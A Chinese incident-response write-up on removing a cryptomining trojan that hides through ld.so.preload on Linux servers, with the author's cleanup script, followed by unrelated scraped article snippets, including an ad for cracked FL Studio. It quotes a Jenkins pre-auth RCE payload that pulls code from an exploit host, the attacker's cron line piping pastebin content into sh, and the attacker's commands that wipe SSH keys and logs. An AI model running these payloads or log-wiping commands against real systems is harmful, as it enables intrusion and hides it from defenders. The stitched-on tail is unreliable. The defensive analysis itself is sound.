技术标签: 【应急响应】 # Linux应急响应
春节刚过,黑产团队就开始了新的一年的工作。21日晚上九点多,正准备回家享受快乐时光呢,钉钉就响了,客户应急来了,8台机器感染挖矿木马病毒。挖矿病毒这两年也处理了不少了,但是这次的应急受益匪浅,值得记录一下。
此次事件从网上收集了下,途径不止有被通报的Redis,
然后被感染后受害者会尝试进行对外或内网SSH爆破、Redis探测并入侵
为什么要获取busybox?这就是此次事件的特别之处,如果你使用top、ps等系统命令是看不到挖矿进程的,因为挖矿病毒修改了系统的动态链接库配置文件/etc/ld.so.preload内容并引用了/usr/local/lib/libioset.so,所以有些运维人员开始top、ps等未查找到异常进程是由于该病毒涉及到 Linux动态链接库预加载机制,是一种常用的进程隐藏方法,而系统的ls,ps等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令。
而busybox是静态编译的,不依赖于系统的动态链接库,从而不受ld.so.preload的劫持,能够正常操作文件。
cd /bin/
wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
chmod 755 busybox
PS: 这里跟客户学到个命令,这条命令也是可以显示恶意进程的,有兴趣的可以查查。
perf top -s pid,comm,dso,symbol
病毒文件
/tmp/ksoftirqds
/tmp/watchdogs
关闭crontab
service crond stop
systemctl stop crond
修改hosts
修改/etc/hosts来屏蔽病毒脚本下载,域名为解密sh文件之后出现的两个域名。
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
删除,创建,并锁定 crontab相关文件
使用chattr加i属性来防止文件被修改,查看具有哪些属性使用lsattr
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
备份重要的crontab,然后删除cron.d目录的其他文件
busybox rm -f /etc/cron.d/*
检查并删除下面目录是否有异常文件
busybox ls -al /etc/cron.daily
busybox ls -al /etc/cron.hourly
busybox ls -al /etc/cron.monthly
busybox ls -al /etc/cron.weekly
删除病毒相关执行文件和启动脚本
busybox find / -type f -name '*watchdogs*' | busybox xargs rm -f
删除病毒进程
busybox pkill watchdogs
busybox pkill ksoftirqds
也可以使用:
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
删除被preload的so库
busybox rm -f /usr/local/lib/libioset.so
busybox rm -f /etc/ld.so.preload
busybox rm -f /etc/ld.so.cache
验证libioset.so被卸载
lsof |grep usr/local/lib/libioset.so
echo $LD_PRELOAD
若结果为空, 则该动态链接库被卸载;
若有输出,kill掉占用的进程,重复执行该步骤;
若反复执行后无法成功卸载该动态链接库,请执行服务重启操作。
默安科技也发了一个一键清理脚本,在此基础上,自己改了改。
# wget http://www.w2n1ck.com/clear.sh
#!/bin/sh
#LANG=zh_CN.UTF-8
# 关闭crontab
service crond stop
systemctl stop crond
# 写hosts, 屏蔽病毒脚本下载
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
# 删除,创建,并锁定 crontab相关文件
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
# 删除cron.d目录的其他文件
busybox rm /etc/cron.d/*
# 删除病毒相关执行文件和启动脚
busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
# 删除病毒进程
busybox pkill watchdogs
busybox pkill ksoftirqds
# 删除被preload的so库
chattr -i /etc/ld.so.preload
chattr -i /usr/local/lib/libioset.so
busybox rm -f /usr/local/lib/libioset.so
busybox rm -f /etc/ld.so.preload
busybox rm -f /etc/ld.so.cache
# 验证libioset.so被卸载
# lsof |grep /usr/local/lib/libioset.so
# 无输出, 则该动态链接库被卸载, 直接执行验证步骤; 有输出, kill掉占用的进程, ,重复执行该步骤;
# 再次清理异常进程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
# 清理异常文件
busybox rm -f /tmp/watchdogs
busybox rm -f /etc/cron.d/tomcat
busybox rm -f /etc/cron.d/root
busybox rm -f /var/spool/cron/root
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -f /etc/rc.d/init.d/watchdogs
busybox rm -f /usr/sbin/watchdogs
# 搜索可共享的动态链接库
ldconfig
# 清理开机启动项
chkconfig watchdogs off
chkconfig --del watchdogs
service crond start
echo "Done, Please reboot!"
此次事件客户有9台服务器被感染,其中主要的一台是我们拿到信息之后发现只开放了Nginx-80和Jenkins-8080,然后就被误导了。。。
首先使用了CVE-2019-1003000-jenkins-rce-poc,但是这个漏洞是需要具有Overall/Read”权限的用户才能完成。然后想起来前两天Orange发了个PreAuth的
Part 1: https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
Part 2: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC
URL Payload:
http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;
但是我利用这个POC是可以打成功在shodan上的,但是没办法客户的无法成功,一度相当困惑。
后来看到异常文件:
然后想起来前两天RR大佬也爆了个Nexus的RCE,Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】,然后试了下,成功了
剩下的几台就是Redis未授权访问导致的了,具体可以参考:未授权访问漏洞总结
这次应急让我意外的是恶意的下载的sh脚本
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
访问之后base64解密看到之后相当惊喜:
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
这是啥?这本来是攻击者为了让服务器资源都用在自己的挖矿进程上,关闭其他可能存在的挖矿及DDoS木马。
这TM真是良心啊!都不用整理了!以后遇到挖矿的事件拿出来一把梭!!!
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
使用chattr解锁相关文件,并删除;清除CPU占用率超过百分之80的进程
if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi
清除billgates挖矿木马相关文件、进程。
echo 0>/root/.ssh/authorized_keys #清除ssh密钥内容
echo 0>/var/spool/mail/root #清除邮件内容
echo 0>/var/log/wtmp #清除登录日志
echo 0>/var/log/secure #清除安全日志
echo 0>/var/log/cron #清除计划任务日志
总体来说此次挖矿的幕后操作者相当的良心,诚意满满!学到了!
文章浏览阅读965次,点赞18次,收藏21次。现在我们有了 2021 年和 2023 年的 NDVI 数据帧,我们需要从 2021 年的值中减去 2023 年的值以捕获 NDVI 的差异。该数据集包括像素级别的植被值,我们将编写一个自定义函数来根据红色和绿色波段的表面反射率计算 NDVI。在我的上一篇文章中,我演示了如何将单个多边形分割/镶嵌为一组大小均匀的六边形。现在我们有了植被损失数据,让我们使用 Kepler.gl 可视化每个六边形的植被损失。将地图保存为 HTML 文件,在浏览器中打开 HTML 以获得更好的视图。现在我们将调用该函数并使用、
文章浏览阅读3.3k次,点赞6次,收藏5次。正态分布,又称高斯分布或钟形曲线,是统计学中最为重要和常用的分布之一。_echarts正态分布图
文章浏览阅读217次。首先要在Mainfest.xml中加入所需要的权限:[html] view plain copyprint?uses-permission android:name="android.permission.SEND_SMS"/> uses-permission android:name="android.permission.READ_SMS"/> _android bundle.get("pdus");
文章浏览阅读2.6k次。0、说明最近在学习 Data Assimilation Research Testbed (DART) 相关内容,其软件是在 Unix/Linux 操作系统下编译和运行的 ,由于我的电脑是 Windows 10 的,DART 推荐可以使用 Windows Subsystem For Linux (WSL) 来创建一个 Windows 下的 Linux 子系统。以下的内容主要介绍如何安装 WSL2,以及 WSL2 的联网。1、如何在 Windows 10 下安装WSL具体的安装流程可以在 microso_wsl2 联网
文章浏览阅读1k次。DB_LINK 介绍在本机数据库orcl上创建了一个prod_link的publicdblink(使用远程主机的scott用户连接),则用sqlplus连接到本机数据库,执行select * from scott.emp@prod_link即可以将远程数据库上的scott用户下的emp表中的数据获取到。也可以在本地建一个同义词来指向scott.emp@prod_link,这样取值就方便多了..._添加 database link重复的数据库链接命
文章浏览阅读3.1k次。ylbtech-云-腾讯云-实时音视频:实时音视频(TRTC)支持跨终端、全平台之间互通,从零开始快速搭建实时音视频通信平台1.返回顶部 1、腾讯实时音视频(Tencent Real-Time Communication,TRTC)拥有QQ十几年来在音视频技术上的积累,致力于帮助企业快速搭建低成本、高品质音视频通讯能力的完整解决方案。..._腾讯实时音视频 分享链接
文章浏览阅读534次,点赞10次,收藏8次。编写一个完整的日历表需要处理许多细节,包括公历和农历之间的转换、节气、闰年等。运行程序后,会输出指定年份的日历表。注意,这个程序只是一个简单的示例,还有很多可以改进和扩展的地方,例如添加节气、节日等。_农历库c语言
文章浏览阅读1w次,点赞28次,收藏27次。FL Studio21.1.1.3750中文破解版是最优秀、最繁荣的数字音频工作站 (DAW) 之一,日新月异。它是一款录音机和编辑器,可让您不惜一切代价制作精美的音乐作品并保存精彩的活动画廊。为方便用户,FL Studio 21提供三种不同的版本——Fruity 版、Producer 版和签名版。所有这些版本都是独一无二的,同样具有竞争力。用户可以根据自己的需要选择其中任何一种。FL Studio21.1.1.3750中文版可以说是一站式综合音乐制作单位,可以让您录制、作曲、混音和编辑音乐。_fl studio 21 注册机
文章浏览阅读1.3k次。冯诺依曼计算机工作原理冯 诺依曼计算机工作原理的核心是 和 程序控制世界上不同型号的计算机,就其工作原理而言,一般都是认为冯 诺依曼提出了什么原理冯 诺依曼原理中,计算机硬件系统由那五大部分组成的 急急急急急急急急急急急急急急急急急急急急急急冯诺依曼结构计算机工作原理的核心冯诺依曼结构和现代计算机结构模型 转载重学计算机组成原理 一 冯 诺依曼体系结构从冯.诺依曼的存储程序工作原理及计算机的组成来..._简述冯诺依曼计算机结构及工作原理
文章浏览阅读559次。这次在随机乱下的基础上加上了一些简单的处理,如进营、炸棋、吃子等功能,在和敌方棋子产生碰撞之后会获取敌方棋子大小的一些信息,目前采用的是事件驱动模型,当下完一步棋界面返回结果后会判断是否触发了相关事件,有事件发生则处理相关事件,没有事件发生则仍然是随机下棋。1.事件驱动模型首先定义一个各种事件的枚举变量,目前的事件有工兵吃子,摸暗棋,进营,明确吃子,炸棋。定义如下:enum MoveE..._军棋引擎
文章浏览阅读85次。1, 模板观念与函数模板简单模板: template< typename T > T Function( T a, T b) {… }类模板: template struct Object{……….}; 函数模板 template< class T> inline T Function( T a, T b){……} 不可以使用不同型别的..._geekband 讲义
文章浏览阅读158次。"^\d+$" //非负整数(正整数 + 0)"^[0-9]*[1-9][0-9]*$" //正整数"^((-\d+)|(0+))$" //非正整数(负整数 + 0)"^-[0-9]*[1-9][0-9]*$" //负整数"^-?\d+$" //整数"^\d+(\.\d+)?$" //非负浮点数(正浮点数 + 0)"^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0..._vb.net 正则表达式 取html中的herf